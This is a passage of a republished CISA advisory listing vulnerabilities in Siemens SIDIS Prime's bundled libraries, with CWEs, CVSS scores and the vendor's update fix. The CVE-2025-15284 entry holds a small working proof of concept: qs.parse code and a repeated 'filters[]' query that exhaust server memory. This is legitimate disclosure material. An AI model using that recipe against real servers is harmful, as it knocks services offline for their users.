<pubDate>Thu, 12 Mar 2026 17:05:01 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-071-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>SIDIS Prime before V4.0.800 is affected by multiple vulnerabilities in the components OpenSSL, SQLite, and several Node.js packages as described below. Siemens has released a new version of SIDIS Prime and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens SIDIS Prime are affected:</p>
<ul>
<li>SIDIS Prime vers:intdot/&lt;4.0.800 (CVE-2024-29857, CVE-2024-30171, CVE-2024-30172, CVE-2024-41996, CVE-2025-6965, CVE-2025-7783, CVE-2025-9230, CVE-2025-9232, CVE-2025-9670, CVE-2025-12816, CVE-2025-15284, CVE-2025-58751, CVE-2025-58752, CVE-2025-58754, CVE-2025-62522, CVE-2025-64718, CVE-2025-64756, CVE-2025-66030, CVE-2025-66031, CVE-2025-66035, CVE-2025-66412, CVE-2025-69277, CVE-2026-22610)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.7</td>
<td>Siemens</td>
<td>Siemens SIDIS Prime</td>
<td>Out-of-bounds Read, Observable Discrepancy, Improper Input Validation, Improper Certificate Validation, Numeric Truncation Error, Use of Insufficiently Random Values, Out-of-bounds Write, Inefficient Regular Expression Complexity, Interpretation Conflict, Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Relative Path Traversal, Allocation of Resources Without Limits or Throttling, Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), Integer Overflow or Wraparound, Uncontrolled Recursion, Insertion of Sensitive Information Into Sent Data, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Incomplete List of Disallowed Inputs</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-29857</a></h3>
<div class="csaf-accordion-content">
<p>An issue was discovered in ECCurve.java and ECCurve.cs in Bouncy Castle Java (BC Java) before 1.78, BC Java LTS before 2.73.6, BC-FJA before 1.0.2.5, and BC C# .Net before 2.3.1. Importing an EC certificate with crafted F2m parameters can lead to excessive CPU consumption during the evaluation of the curve parameters.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-29857">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-30171</a></h3>
<div class="csaf-accordion-content">
<p>An issue was discovered in Bouncy Castle Java TLS API and JSSE Provider before 1.78. Timing-based leakage may occur in RSA based handshakes because of exception processing.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-30171">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/203.html">CWE-203 Observable Discrepancy</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-30172</a></h3>
<div class="csaf-accordion-content">
<p>An issue was discovered in Bouncy Castle Java Cryptography APIs before 1.78. An Ed25519 verification code infinite loop can occur via a crafted signature and public key.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-30172">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-41996</a></h3>
<div class="csaf-accordion-content">
<p>Validating the order of the public keys in the Diffie-Hellman Key Agreement Protocol, when an approved safe prime is used, allows remote attackers (from the client side) to trigger unnecessarily expensive server-side DHE modular-exponentiation calculations. The client may cause asymmetric resource consumption. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE and validate the order of the public key.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-41996">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/295.html">CWE-295 Improper Certificate Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-6965</a></h3>
<div class="csaf-accordion-content">
<p>There exists a vulnerability in SQLite versions before 3.50.2 where the number of aggregate terms could exceed the number of columns available. This could lead to a memory corruption issue. We recommend upgrading to version 3.50.2 or above.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-6965">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/197.html">CWE-197 Numeric Truncation Error</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:L">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-7783</a></h3>
<div class="csaf-accordion-content">
<p>Use of Insufficiently Random Values vulnerability in form-data allows HTTP Parameter Pollution (HPP). This vulnerability is associated with program files lib/form_data.Js. This issue affects form-data: &lt; 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-7783">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/330.html">CWE-330 Use of Insufficiently Random Values</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9230</a></h3>
<div class="csaf-accordion-content">
<p>An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-9230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9232</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-9232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9670</a></h3>
<div class="csaf-accordion-content">
<p>A security flaw has been discovered in mixmark-io turndown up to 7.2.1. This affects an unknown function of the file src/commonmark-rules.js. Performing manipulation results in inefficient regular expression complexity. It is possible to initiate the attack remotely. The exploit has been released to the public and may be exploited.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-9670">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1333.html">CWE-1333 Inefficient Regular Expression Complexity</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-12816</a></h3>
<div class="csaf-accordion-content">
<p>An interpretation-conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and earlier enables unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-12816">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/436.html">CWE-436 Interpretation Conflict</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-15284</a></h3>
<div class="csaf-accordion-content">
<p>Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: &lt; 6.14.1. SummaryThe arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&amp;a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable. DetailsThe arrayLimit option only checks limits for indexed notation (a[0]=1&amp;a[1]=2) but completely bypasses it for bracket notation (a[]=1&amp;a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' &amp;&amp; options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index &lt;= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index &lt;= options.arrayLimit before creating arrays. PoCTest 1 - Basic bypass: npm install qs const qs = require('qs'); const result = qs.parse('a[]=1&amp;a[]=2&amp;a[]=3&amp;a[]=4&amp;a[]=5&amp;a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Test 2 - DoS demonstration: const qs = require('qs'); const attack = 'a[]=' + Array(10000).fill('x').join('&amp;a[]='); const result = qs.parse(attack, { arrayLimit: 100 }); console.log(result.a.length); // Output: 10000 (should be max 100) Configuration: * arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2) * Use bracket notation: a[]=value (not indexed a[0]=value) ImpactDenial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection. Attack scenario: * Attacker sends HTTP request: GET /api/search?filters[]=x&amp;filters[]=x&amp;...&amp;filters[]=x (100,000+ times) * Application parses with qs.parse(query, { arrayLimit: 100 }) * qs ignores limit, parses all 100,000 elements into array * Server memory exhausted → application crashes or becomes unresponsive * Service unavailable for all users Real-world impact: * Single malicious request can crash server * No authentication required * Easy to automate and scale * Affects any endpoint parsing query strings with bracket notation</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-15284">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-58751</a></h3>
<div class="csaf-accordion-content">
<p>Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-58751">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-58752</a></h3>
<div class="csaf-accordion-content">
<p>Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use `appType: 'spa'` (default) or `appType: 'mpa'` are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-58752">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/23.html">CWE-23 Relative Path Traversal</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-58754</a></h3>
<div class="csaf-accordion-content">
